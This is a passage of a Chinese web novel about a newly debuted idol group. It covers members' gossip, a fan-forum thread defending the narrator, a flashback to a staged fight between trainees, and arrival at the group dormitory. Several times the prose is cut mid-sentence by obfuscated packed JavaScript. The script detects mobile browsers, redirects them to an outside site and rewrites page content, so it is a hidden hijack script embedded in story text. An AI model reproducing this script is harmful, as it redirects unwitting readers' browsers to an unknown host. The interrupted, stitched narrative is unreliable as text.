“好的好的,”宁郁寒急忙松开手,“我没有忘,我只是以为熟了之后会好一点……对不起。” “会好一点的,所以不要道歉,”蓝鸢说,然后笑了起来,“但需要预告,不要不声不响地碰我。” “好,我下回记住。”宁郁寒不知道第几次说这句话,说完凑到蓝鸢耳边,准备继续开口前突然又拉远了一点距离,“可以和你说悄悄话吗?想讲一个八卦。” “可以的。”蓝鸢点头,“这个不用专门问我,八卦的事直接说就行了。” 虽说蓝鸢不喜欢宁郁寒这个脚踏很多条船的人、也很恶心他自以为双方拥有默契但持续添加小动作的、在镜头前的“卖腐”,不过对和这人的正常相处倒是没什么太大的反感。 毕竟平心而论,抛开黑料,宁郁寒算是他们队里相对最正常的人了。 “我昨天晚上在台下……看到了叶游的女朋友。”宁郁寒于是凑近了告诉他,“还举了他的灯牌。” “什么女朋友,”蓝鸢忍不住低头笑了一声,小声说,“那是他女朋友吗?” “……毕竟我听他这么说听习惯了嘛,一时间转不过来,”宁郁寒卡壳了一下,才说,“我还没说完,昨天我们吃完饭后,我又看到……那个女生开车来接他了。” “这也太大胆了一点,”蓝鸢点评说,既是在说叶游也是在暗暗指代宁郁寒本人,“还是祝他不要被发现好了。” “确实。”笨蛋傻狗宁郁寒这时候又不乱脑补了,像是根本感觉不到这话中暗戳戳的额外含义,“不然会影响全队的。” 蓝鸢叹了口气。 叶游是他们出道组的第五名,也是蓝鸢在赛程后期的室友。他有一个“女朋友”……这件事还是宁郁寒前两个月给蓝鸢说的。 当然,说是“女朋友”,其实根本不是女朋友,因为这个漂亮有钱的富二代妹妹还有一个暂时的、相对正牌的男友——相对正牌的男友也是圈内人,去年底刚靠出道作拿了国际影帝的、只有19岁的电影圈未来之星。 比叶游还小一岁。 蓝鸢不太清楚比较早的故事,他只知道现状是富二代和影帝哥谈恋爱、同时和叶游保持着一种……蓝鸢也不知道怎么形容的、像是恋爱但又有点微妙不同的关系。 但无论如何,虽然不知道富二代的想法,叶游总归是在这段关系里知三当三,而根据宁郁寒暗戳戳的打听,影帝哥对这事似乎并不知情。 而在叶游的关系网里,知道这件事的应该也只有被他信任的……蓝鸢和宁郁寒两个人。 总的来说,富二代和叶游的“恋爱”一向谨慎,连合照都没有留下一张。 如果不是宁郁寒和叶游是同一家公司认识已久的“狐朋狗友”、再三向他保证了这件事的真实性……蓝鸢都怀疑是叶游在臆想。 * 但总之,既然昨晚富二代和叶游见了面,就很好解释叶游为什么还没来了。 至于另一个缺席的、他们出道组的大哥、第七出道的竺明若为何没到,蓝鸢倒是心知肚明。 他昨晚虽然没有看见叶游的富二代姐姐,但在台下看见了竺明若的老婆孩子。 知道竺明若隐婚生子,还是因为祁心忱……不知道通过什么途径挖出来了他老婆的社交平台小号,然后将这事告知了蓝鸢。 祁心忱的本意是提醒他小心和竺明若相处,不过实话说,即使没这事,蓝鸢对竺明若也没什么好印象,因为他感觉对方不太喜欢自己。 很人之常情的是,蓝鸢不喜欢讨厌自己的人。 虽然宁郁寒给他分享了叶游的八卦,但隐婚生子这事蓝鸢没有给宁郁寒分享,因为宁郁寒本来也不喜欢竺明若。他只告诉过对竺明若印象很好的沈艾初——不过沈艾初对此反应也不强烈就是了。 “结婚也不是什么不道德的事,”沈艾初当时笑着说,“我不是很介意——不能因为朋友工作作风不好,就觉得他也不值得交朋友吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓝鸢没有再回话。 他只点点头,低头打开论坛——他准备先简单看看论坛风向,再决定自己的出道微博应该怎么写更合适。 5. 平反 不出所料,论坛的战火烧了一整夜。 蓝鸢浅浅浏览了一遍首页,“圆皇”两个字也意料之中是高频词汇——他早期因为各种原因被带过皇族的节奏,这个花名也是那时候传下来的,后来这个节奏也没断过,显然是有职粉在引导舆论。 这会在积极发帖的不知道是刚醒还是一夜没睡。 但总之,蓝鸢本想挑点正常讨论的帖子,最终却忍不住选了个回复多的、名字带他自己的点了进去。 * 【主题】能不能都滚出来给圆皇道歉啊? 主楼:赛时说圆皇是真皇族的人呢?怎么都安静了呢?你家真皇族数据全面第一决赛第二啊? 2L 还圆皇呢,傀儡皇帝一个 4L 那不叫傀儡,那叫遇刺(指正,现在已经被篡位咯ovo Let''s恭迎艾皇登基 8L 要我说都是报应,圆推赛时打这个打那个打到最后把自推c位打掉了属实是笑话惹 11L 说得好像艾推没四处征战一样 这个唯粉关系表里只有深红色黑色和妈妈爱你的团谁也别说谁ok? 13L 但是我早就想说了,圆皇不就是前期镜头多了点吗,他初舞台本来就是神救场又是A,主题曲初C还同时给b班和f班当老师,不给他镜头一堆人的故事线都得跟着一起寄,其中倒是真不乏皇族 总之就是他到底怎么被公认皇族的啊?皇族会首A被剪成第四个A,会初舞台dance加赛不放出来吗? 16L 回复13L:自带人气、实力顶尖、公认门面、有大势cp这几条占一条都是没背景秀人的原罪,圆皇还占了这么多条 脂粉带他皇族节奏只能说明真挖不出来别的把柄了 18L 而且有人敢说圆皇三次公演的花絮镜头并不比队友多,三公更是少得可怜的十几分钟花絮里cut只有22s,但不妨碍一公小组第一、二三公全场第一捏 22L 实际上圆皇前面镜头都是正常偏少的,只有导师合作舞台的镜头多了点,但还不是因为星辰半步不离他、把小圆当标点符号用,不给他镜头总不能不给星辰镜头 真敢的话忱推能撕碎节目组的 27L 但实话说一看到圆皇刚开赛那会被打皇族就知道他大概率不是了,这么多年国内外选秀还没看明白吗?秀芬的皇族雷达永远都滞后得可笑 31L 说到星辰,一开始圆皇被说皇族的其中一个原因就是星辰一直夸他吧…说是剧本 但是追过梦团的人都知道星辰的性格是绝对不跟剧本走的,一个能大号转发前夫哥死不承认的恋情爆料微博的人还有什么干不出来,别被他的脸骗了 33L 梦团是什么东西,只知道那个出道组排名靠随机数抽选的随团 36L 从星辰三公后采把圆皇四个出道组伴舞和一个决赛圈伴舞批评得一无是处开始应该所有人都知道他是什么人了吧 虽然星辰一向是喜欢主动找节奏的性格,但是这个偏爱程度真的到了我看不懂的水平 40L 有没有可能不是星辰偏爱是因为他们真的一无是处 最高音靠圆皇、最低音靠圆皇、退赛哥留下来的killing part都做不了还要靠圆皇,这群人有什么用,怎么圆皇既当主唱又当主舞,最后一看part全队第五花絮镜头量全队第六得票全场第一呢,好幽默 43L 这个意义上来说圆皇不c是对的,真让圆皇当c这个团一辈子都是圆皇和他的六个伴舞了,其他人将永无出头之日(在嘲 47L 说起来忱推表面夸他照顾小后辈实际上已经恨圆皇恨得要死了吧 50L 我看圆推也是表面感谢前辈实际挺恨星辰的,说这人天天捧杀圆皇,还诱导圆皇合作舞台去自己组唱抒情歌,不让他去粉丝最喜欢的pd组搞唱跳 53L 出圈舞台都不满意啊?高光part全给圆皇一个人也不满意啊? 觉得捧杀的,导师说你担表现不好我看你也不满意吧?圆推怎么事这么多 56L 说是觉得圆皇初舞台一公都是幼儿园舞蹈难度,二公又站桩,三公除了那个捡的killing part也都没怎么跳,不想让他合作舞台也站桩,想给他炒ace人设而不是大主唱人设 但是说到底这不是一向被粉丝说有脑子的圆皇自己去的吗?一点犹豫都没有的那种,而且退一万步,有人觉得星辰是那种会一厢情愿对着对自己一点箭头都没有的小后辈就贴上去的人吗? 59L 事实就是他俩关系好着呢而圆推忱推只能无能狂怒捏 合作舞台分组的时候星辰还给圆皇说了句“想清楚哦”,但圆皇就是如此义无反顾捏 62L 在这种选秀里嗑师生组有罪我知道但是节目结束了总可以说了吧,圆皇喜欢星辰还是喜欢寒子哥有眼睛的都能看出来 65L 圆皇对寒子哥也不是没有双标,起码会对他卖萌 但是只有见到真老公的时候会直接忘记自己不喜欢肢体接触的人设光速黏上去捏 66L 虽然圆皇对寒子哥会卖萌,但是在星辰面前是真萌,冷美人的设定已然无影无踪 67L 我什么时候看到圆皇和冷美人出现在一句话里能不笑出声 美帝姐那么多笑话里还是这三个字最好笑 68L 而且圆推其实不怎么讨厌3的,众所周知粉丝只恨真嫂子所以… 71L 32这种卖的cp怎么和远程比 74L 吓人啊这楼怎么进来这么多远程姐了,这明明是给圆皇的平反楼不是嗑cp的楼,远程姐别进来随地大小ky了行吗 哦我也是远程姐啊那没事了 77L 嗑cp不妨碍平反啊,难道有人觉得星辰这种1压到4的选秀史上最大皇族受害者、这种眼睛里容不得一点沙子谁塌房都会出来割席指责的纯种正义使者会偏爱真皇族吗?唯一的例外他的好闺蜜随3早年也是被他大婊特婊过的,只是后来发生了很多事和解了而已 星辰越如此纯粹地爱圆皇越能说明圆皇真干干净净啥也没有 79L 还是别说1了说top2吧,星辰赛时的1没圆皇这么看起来稳的,当年虽然他家jz高点但是随24整体算缠绵到底 82L 回复79L:看到这楼又想起随24缠绵到底结果出来发现都不是1时我的震撼心情,昏天黑地打了三个月打到决赛一夜之间世纪大和解,就又想问一遍到底谁允许这种做票出名的节目办到第三季的…太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437654|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离谱了 感觉整个节目审核链上的每一环都有罪 86L 说到底还不是赛时不让嗑不让嗑,连圆皇和星辰出现在一个句子一个截图里都要被大举报,当时想着忍一下现在也无所谓了,组里这么乱谁都举报不过来,干脆大反弹了呗 你组暗戳戳嗑远程的本来就不少,所有人都知道但凡不是师生组,靠他俩这种从头到尾the one的关系根本不会有美帝什么事 88L 师生组也好,现在回头看一眼,没有星辰帮圆皇争一下待遇不知道要被针对成啥样… 那个初舞台某位rap导师因为圆皇不会rap想给他打B的录音偷跑一出来都觉得幽默,但如果不是星辰那句“不会rap是加分项感觉会rap的脑子都有问题”的话可能真就B了…剩下三个人的集体沉默让这事更幽默了 虽然大家都爱嘲星辰正义使者但是他赛时真的说了太多公道话了,我时常怀疑他有大背景撑腰只是一般不屑于用,不然世界上怎么有人这么正义还这么不怕得罪人 89L 那个叫冷嘲热讽,不叫公道话(指正 91L 只能说你组远程姐一夜之间全出来了 不过好笑的是,美帝姐在隔壁远程楼打cp都只会不要逼小圆做1、和师生组本质出道了就不认识了这两个话术来回说,甚至不敢说美帝比远程真这种话 92L 圆皇攻度高达0.12怎么不能做1,0.12不仅已然比他老公高了而且按进一法算就是1,请支持糊团第一金瓜圆谢谢喵 95L 说出道就不认识的只能说确实对星辰的性格太不了解了 97L srds花名真的定了是糊了吗 感觉好不吉利 99L 不吉利好啊,接早日解散对大家都好 解散晚了多上几个舞台又成圆皇伴舞团了就太难看了 * 蓝鸢承认自己点进来本来是想看吵架和大清算,结果看着看着,楼里风向莫名就转到了和标题毫无关系的位置上。 但他还是津津有味地爬完了楼,愉快地给所有说祁心忱好爱他的楼点了赞。直到退回为你心动3专组首页时才反应过来,自己依旧没有得到任何对于“应该怎么写出道微博”的灵感,只记住了他们的新花名“糊”。 这花名取得还挺好的,蓝鸢心想。 以后说糊团两个字的时候,都可以说成是花名、而不是骂他们人气不行了。 至于出道微博……他想了想,又叹了口气,决定还是自己按感觉写好了——先感谢粉丝,其次感谢祁心忱,再次感谢节目组工作人员和其他导师,最后感谢身边的练习生朋友们,并展望Butterfly的未来。 希望这个未来长一点,不要像论坛里说的那样早早解散。蓝鸢默默祈祷。他还需要团资源给自己未来发展做铺垫呢。 他不指望这个团能顺利平安坚持到约定的一年半时长——团里潜藏的爆点实在是太多了,它更可能的结局是像祁心忱的原团Dreams那样,小分队越来越小,最后即使把罪状不重的喊回来,也只能进行一个只有五个人的解散场。 但这样也很不错,只要不光速被封杀、或者直接销声匿迹就好。 而剩下的……他不动声色地看了看身边的队友们,心想,能从这些“爆点”里吸取多少好处,就要靠自己发挥了。 6. 旧室友 蓝鸢于是开始写微博,以及找照片。 现在微博可以十八宫格,但他觉得放在“+9”里的那些照片总会让人觉得不够被重视,所以最终还是只准备了九张图。 不过是九张拼图,加起来能有五六十张照片。 蓝鸢做过唱见,自然也懂一些美工。 他找了合适的图片做成九张长图。四个角上是他这几个月在录制期间用相机拍的各种非人物照,上下左右四个方向则是和导师们、以及别的练习生的合影。 最中间的长图当然是自己的照片。不过蓝鸢也夹带私货,在其中加了两张和祁心忱的合照。 他调整了一下,让剩下八张在微博里显示的缩略图都是背景,而最中间一张的缩略图则成了那两张合照之一。接着从备忘录里复制粘贴文字,给沈艾初知会了一声,而后点击发送。 然后暂时关上了微博。 倒不是这会不想看,而是他编辑微博也花了几十分钟。如今时间已经过了十点,叶游和竺明若已然就位,在这条微博发出去后,工作人员就招呼他们去登机了。 于是蓝鸢站起身,和队友们一起前往登机口。 非常不幸运的是,蓝鸢上了飞机,找到座位,就发现自己和任淮是邻座。 他们的机票都是昨晚确定出道排名后才买的,很匆忙,所以大抵是随便分配的顺序。商务舱是二人座,蓝鸢在靠窗的位置坐下,任淮接着就坐在了他旁边。 “昨晚睡得怎么样?”而蓝鸢更没想到的是,这人今天同他说的第一句话,就是把他问沈艾初的话复读了一遍。 “还不错。”蓝鸢偏头,冲他笑了笑,“你呢?” “有点失眠,”任淮却说出了他意料之外的答案,“可能是能出道太开心了……之前一直觉得我没希望出道的。” “那得快习惯出道偶像的身份呀,”蓝鸢继续笑,“不然以后还有的是让你失眠的事呢。” 怎么可能觉得没希望出道。说这话的时候,他心中却在想。 毕竟—— * 蓝鸢的初舞台是A班。 节目只有七个出道位,所以初舞台之后,也只有七位练习生在A班。 一公的分组会参考后续的再评级等级,但在这种“等级森严”的节目里,初舞台A班总归会有一些特权,比如同为四人间,A班的房间都要比F班更好。 而整个A班则需要自行分成一个三人宿舍、和一个四人宿舍。 蓝鸢对于选宿舍这事很无所谓——至少当时很无所谓,初舞台坐自己旁边的沈艾初邀请他住一个宿舍,蓝鸢于是点点头,便同意了这个提议。 而与他们同宿舍的,还有任淮,和A班的另一个个人练习生。 任淮和沈艾初是同一家公司的——准确说来,沈艾初是主推、是公司太子,而任淮是陪读,所以他们在同一个宿舍总归是顺理成章的。 而那个第四人,则是任淮自己邀请进来的。 任淮和那位第四人身上有很多共同点。 比如说,他们今年都22岁,都曾经在韩国当过练习生,都没有成功出道,直到错过了最适合出道的年龄,都只能选择回国再赌一把。 又比如说,他们家境都不太好,都是孤注一掷的追梦人,都是温柔大哥哥的人设,都很受欢迎,也都很讨沈艾初这个“恋哥癖”的喜欢。 再比如说,他们的定位都是舞担,擅长的舞种都一样,台风也很类似,一公是同一首歌的两个队比较,两人刚好选的是同一位置,最后连现场票都一模一样。 结果论而言,沈艾初是大公司的太子、是皇族,是擅长舞蹈的ace,立着元气正统偶像的人设;蓝鸢是初c,是颜c,是有粉丝基础的头号大主唱。在所有人眼中,他们都是必出道不可的人。 而剩下两位室友则不同。那两人的人气一直都在出道位上下徘徊,被论坛说是“世界上的另一个我”,一个是大公司不受重视、连热搜和镜头都不给买的陪读,一个是人气稍高、但背景更弱的个人练习生——如此的状况,所有人都知道,他们中最多只会有一人出道。 直到那位第四人……在三公之前选择了退赛。 退赛这事给外界说的“个人原因”,实际上由于有视频流出,于是所有人都知道,是因为他和任淮产生了矛盾,接着打了一架……或者说,任淮被他打了一顿。 但蓝鸢始终觉得,那场“打架”,实际上是任淮故意诱导的。 那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437655|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间已经很晚,没回去的练习生寥寥无几。蓝鸢站在练习楼的二楼,在窗口目睹了整个事件的经过。 一开始是两人在平静地说话,接着任淮凑近对方说了什么,又抬了抬嘴角,像是在笑,对面就突然开始动手。紧随其后的是,蓝鸢看见任淮往后看了一眼,接着退了几步,两人顺理成章地绕过墙角,将这场“打架”……暴露于了一层的摄像头覆盖范围内。 而在此之后,任淮几乎没有还手,只任由对方动手。 实际上,在看到打起来的一瞬间,蓝鸢就知道自己应该去叫人了。 但真实的情况是,他发现自己好像有点迈不出脚步——他不知道应该将其称为“心理阴影”还是“不太严重的ptsd”,但总之,任淮那种……被打也不还手的模样,让蓝鸢在恍惚之中想到每次他哥哥喝完酒回家对他动手、而自己永远无法反抗的样子。 明明是不一样的。蓝鸢在心中对自己说。 自己是受害人,而这个任淮明显是故意的,而且现在的目击者只有你一个人,你没能力去劝架,所以你得去找人来帮忙——但即使这样想着也有点无济于事。 蓝鸢突然感觉全身上下都有点痛。 理性上知道是白天跳舞跳久了,感性上却觉得像是那些挥出去的拳头都砸在了自己身上一样——过去那些深夜的争吵和单方面的暴力在脑子里闪回,于是他呆呆地站在窗口,一动不动。 “……闭眼,别看了。”直到一道再熟悉不过的、蓝鸢最喜欢听到的声音在身后响起,同时一只手从背后伸出来,覆盖在他的双眼之上。 下一刻,视线坠入一片黑暗。不知为何出现在这里的祁心忱接着又对他说:“稍等哦,我去处理一下他们,很快回来找你。” 在此之后,温暖而干燥的手从眼睛上离开,而出于本能地,蓝鸢依旧听从那道指示闭着眼。 祁心忱让他“不要看”这个指令本就很微妙,并不是一般人下意识的反应,而像是额外知道什么。于是蓝鸢想开口,开口问对方“你到底了解多少我的事”——但最后,他也没有问出来这句话,只听见一道脚步声逐渐远离自己。 蓝鸢于是才后知后觉意识到,自己刚才甚至没听见祁心忱进来的声音。 7. 退赛与处分 蓝鸢闭着眼。 不知道是否是因为知道祁心忱会很快处理好一切,所以他内心平静了不少。 接着,他听见下方传来一道很响亮的喊声,陌生但中气很足,说的是“祁老师你别被误伤了”,于是刚消散的紧张重新有了回笼的迹象。再之后,紧随其后响起的是祁心忱清淡明亮的声音,他喊了一句“放心”。 蓝鸢又放下心来——他相信祁心忱的判断,这人说放心,那就是可以放心的。 就像这人说很快回来,那就会很快回来。 如同承诺一般,不到三分钟,蓝鸢又重新听见了熟悉的脚步声。 “好了好了,可以睁眼了——怎么让你闭眼还真一直闭眼啊。” 蓝鸢接着听见祁心忱带着笑的声音响起,才总算睁开眼,回头看他,神色带着一点轻微的不满:“……你笑什么,不准笑。” “嗯嗯,”祁心忱一听又笑了一声,看蓝鸢一直盯着他,才收敛了表情,接着问,“你知道他们为什么会打起来吗?” “不知道,”蓝鸢摇摇头,将之前看到这两人在交流、以及自己的猜测说了一遍,说的过程中感觉自己的情绪彻底冷静了下来,才压低声抱怨了一句,“……但是不管怎么说,都好莫名其妙啊。” “哦。”祁心忱发出了一个音节,又顿了顿,像是若有所思般。 过了一会,他才又开口,给蓝鸢说了现在的情况:“……刚刚去拉开了,我提前喊的安保人员和staff也都到了,节目组肯定会有处理的,处分或者退赛,得看很多方的争取结果了。” 蓝鸢于是也沉思。 事实上,祁心忱这话一说出来,两人所心照不宣的是,那位第四人的结局大概率就是“退赛”了——既是动手的一方,又没有任何会捞他的背景,怎么都救不回来。 至于任淮……很难说。蓝鸢心想。“受害人”的表象塑造得太好了,祁心忱也只是个没什么资本撑腰的普通艺人,没能力靠着自己的猜测就将任淮从这个节目踢出去。 “他们还有说什么吗?”于是蓝鸢又问,“关于,为什么打起来之类的。” “……这就是奇怪的地方了,”祁心忱回答,“我问了,两个人都不愿意说。” 是很奇怪。蓝鸢想。 任淮不说很正常,另一位也不说就不太正常了——只要是个人都知道,这种沉默只会让他在舆论上陷入死局。 只是……蓝鸢突然有点不想讨论这件事了。比起这些让人烦躁的室友,还是面前这位比较重要。 “算了,先不提他们,”他于是眨眨眼,干脆拉开了话题,问出了自己几分钟前就想问的问题,“所以你为什么在这里呀。” “我本来是去你们宿舍找你,”祁心忱说,“小艾说你还没回来,我就猜你还在练习楼——没想到还遇上了意料之外的情况,也算是有点收获。” “不是这个,”蓝鸢垂了垂眼,又向前走了两步,同祁心忱凑近了一点,然后才问,“你昨天不是说下午还要在外地录舞台吗?” “对呀,我录了,四点半就录完了,”祁心忱解释,“刚好有合适的航班,所以就直接过来了……可能我比较敬业?” 他说完这句反问,自己都笑了出声。 在这种选秀节目里,虽说有“明星导师”的存在,但更多时候,教练习生们舞台表演的并非是导师组,而是节目组聘请的教歌舞的老师。 练习生们是全封闭录制,但导师组其实只是阶段性出场——祁心忱算是个例外,他花了别的导师两三倍的时间在录制基地。只要没别的工作,就一定会出现在这里。 “这么敬业有什么意义,又不会多发钱,”蓝鸢于是说,语气中有点抱怨,“都不休息两天,三公后半段本来也不太需要导师,都是自己练自己的。” “敬业不好吗,稍微要对得起工资嘛,”祁心忱又笑,伸手理了理蓝鸢耳边因为才跳过舞而有点凌乱的发丝,反过来问他,“怎么感觉你不是很想我来呢,都直接‘不需要’了。” 蓝鸢愣了愣,没想到对方会反过来调侃一句。 他在点头和说实话之中犹豫了片刻,最终还是选了后者。蓝鸢摇摇头,小声说:“没有不想你来……只是感觉行程看起来比较累。” “也没有特别累,在飞机上睡了两小时,”祁心忱说,又很顺手地摸了摸他的脑袋,“而且今天二顺刚录嘛,就觉得应该早点来看看小圆宝宝心情如何。” “确实很不好,看到他们打起来就更不好了,”蓝鸢于是实话实说——毕竟稳top2的数据被压到第四,换谁心情都不可能好,“所以祁老师可以抱我一下作为安慰吗?” 他说完,眨眨眼看着祁心忱,目不转睛地。 “怎么突然喊上老师了,”祁心忱低头笑了一声,然后非常自然而然地给了他一个拥抱,又问了一句,“说起来,你想换个宿舍吗?” 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437656|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时被这么一问,蓝鸢确实有点想换宿舍了。 虽然祁心忱的到来冲淡了刚刚室友打架一幕对他造成的心理冲击,但一想到宿舍里三个室友,一个是打过人的、一个会诱导别人打人、还有一个是软弱分子,蓝鸢就觉得前景堪忧。 简而言之,自私一点地说……他确实害怕哪天自己被波及到。虽说排名无法保证,但蓝鸢现在的人气是绝不可能被做票做出前七的,因此他不希望自己的出道计划出现任何纰漏。 于是他点点头。 “那明天就换,”祁心忱很干脆地承诺道,“那两位的事还有得处理,今晚应该都不回你们宿舍,所以你打算回去睡还是去我那里睡?” 蓝鸢愣了愣。 祁心忱突然抛给他意料之外的二选一问题,问得非常自然而不刻意,但其中偏偏带着一个他想都没想过的选项……一个无法拒绝的选项。 他有想过一瞬间祁心忱是不是在试探什么,但接着又排除了这个想法——祁心忱是个正常人,就算想试探,也不会在他情绪不好的时候试探的。 蓝鸢点了点头,接着才意识到这是二选一而不是问句,于是他重新开口:“可以去你那里吗?” 再后来…… 事件结果出来得很快。第二天,节目组就召集所有练习生开会,宣布了一方大处分、一方退赛的结果。 而后是另一个通知,说因为同宿舍的矛盾导致了这件事故的发生,所以节目组经过商量,决定重新分宿舍,大家各自找关系好的练习生组队,几人一间都可以。 虽然这事是pd宣布的,但大概率是祁心忱提的建议。蓝鸢心想。 实际上,蓝鸢觉得沈艾初是个非常好的室友——前提是单独拎出来,而不是和别人捆绑销售。 但沈艾初明显要粘着任淮这个危险的角色。所以蓝鸢在和他交集比较多的练习生里,找了看上去最无害、也没有对他抱有任何奇怪扭曲情感的叶游发出了双人间组队邀请。 叶游好像有点诧异,但还是毫不犹豫地同意了这个提议。 * “小圆,”旁边一道声音响起,将蓝鸢从回忆中拉了出来,“还有两三分钟起飞,你开飞行模式了吗?” “噢,忘了,”蓝鸢低头摸手机,又转过头对任淮说,“感谢提醒呀。” “不用谢,”任淮用很温柔的语气说,“小圆你累的话可以先休息一会,空乘过来有什么事我都会叫你的。” 8. 别墅与摄像头 当然,蓝鸢并没有休息。 旁边坐的是任淮,那他就不打算按照今早的计划那般,在飞机上补祁心忱的旧物料了。但即使如此,此刻的蓝鸢依旧有事可做。 他打开从经纪人那里拿回的背包,取出自己很久没用过的平板,插上充电线。而后打开了早早存在其中的“物理”文件夹,打算趁此机会做一套试卷。 毕竟到高考只有不到两周了,还是得稍微在意一下,做做题找回手感。 蓝鸢想去的学校是文过专排,他校考是第一,高考随便考考都能有书读。不过考太差也不合适,会被骂上热搜、让自己的粉丝陷入舆论弱势。 但总归是高三一年都没正经读书,接下来两周同样没有很多时间复习,因此期望太高也不现实。蓝鸢给自己的目标是上一本线、同时分数和省内排名占比都要比也在今年高考的、真实学业水平未知的宁郁寒高。 ——毕竟即使他和宁郁寒不在一个省份考试,即使蓝鸢是学物化生而宁郁寒是政史地,即使蓝鸢学作曲而宁郁寒学不像他会学的表演,但只要是队友,还是会被拖出来全方位比较。 队里高考过的成员中,简旋安的省前十是不可超越的,但蓝鸢觉得自己总不能比其他人差。 旁边任淮的视线也挪了过来。蓝鸢没拦着他看,但也没理他,开始专心读题。 任淮早早就出国当练习生,高中是没上过的,应该也看不懂高考卷。于是看了几眼后,大概也觉得无趣,便收回了视线,选择自顾自地打开手机看视频。 一个半小时的航程,两人没有再多说什么话。 这点时间刚好够蓝鸢做完一套试卷、对答案和订正,于是他也没再关注任淮在做什么,只心安理得地将对方当透明人处理。 * 至于下飞机之后的行程,团里所有人都已经拿到了安排。 负责限定团运营的公司给他们租了一个别墅,作为接下来一年半活动期的团宿舍——成员们下了飞机,取了行李,在机场迎接了少量粉丝的接机后,便搭乘公司准备的车前往所谓的新宿舍。 当然,蓝鸢清楚,对大多数成员来说,这个宿舍是住不满一年半的。 且不论他们名义上的合约是第一年以团活为主、最后半年开放个人资源,届时大家都不在一起工作、住一起也不会带来方便,就算是单凭这几个人的不安分样,蓝鸢就不相信他们会把宿舍住到底。 只是不知道有些人是会先主动搬出去、离开队友们寻求“自由”,还是会先因为舆论被冷处理,接着“被”搬出去了。 蓝鸢听祁心忱说过Dreams的情况。 Dreams存活期也连连暴雷,到后期,名义上住宿舍的也就只剩了祁心忱和另一位没暴雷的队友顾洛知两个人,而且他们多数时候都在外地工作,时不时也回家住,在宿舍的日子也很少——蓝鸢觉得他们Butterfly往后也会如此,而且只可能有过之而无不及。 不过,即使未来不容乐观,至少此时此刻,无论是真心还是装的,大家陆陆续续背着包拖着行李箱进入宿舍的一瞬间,都表现得很开心很兴奋。 原因也很简单。客厅中间就摆着几个摄像头。 选秀节目里的摄像头无处不在,任何镜头下的发言都可能会成为人设塑造的一环,他们这群生存下来的上位圈,在过去的三个月里早都形成了遇到摄像头光速开演的习惯。 蓝鸢自然也不例外。 况且这还是提前预告过他们的情况。 ——从踏入这个房间的第一秒开始,Butterfly出道后的第一支vlog就算正式开拍了。 但是那些表现在表情上的快乐,也多少有一些真实的成分。至少对蓝鸢本人来说,这确实是他十八年人生里住过最好的地方。 前提是不会和什么奇怪的人一间屋子。 团里七个人,宿舍的配置是两个双人间和一个三人间——分宿舍的方式并没有预先通知他们,毕竟也要作为团综的一环,蓝鸢只是很担心会“随机”,因为前两届出道组分宿舍都是全靠玩纯随机性游戏。 希望今年负责策划的人能看清他们团暗流涌动的本质,蓝鸢默默祈祷。 只不过,在分宿舍之前,他们还得首先吃午饭——实际上就是一些比较高级的外卖,而这也是会被录下来放出去的部分。 蓝鸢走在比较靠后的位置,队友们三三两两在桌边坐下,看上去随意,但多少有点讲究。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437657|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 比如任淮笔直地坐到了沈艾初旁边——他们的cp热度在选秀里的热度仅次于蓝鸢和宁郁寒,无论是真心假意、或者是蓝鸢猜测中的沈艾初真心、任淮假意,总归卖一下再正常不过。 又比如竺明若坐到了沈艾初的另一边——队里其他人和他要么不熟、要么隐隐有点不对盘,而沈艾初这个对所有大哥哥都宽容的单纯软弱之人对他的情感倾向很正面,于是顺理成章被他利用。 再比如简旋安犹豫了一瞬间,最终还是坐在了和他关系还算不错、看上去没有太多弯弯绕绕的宁郁寒旁边。 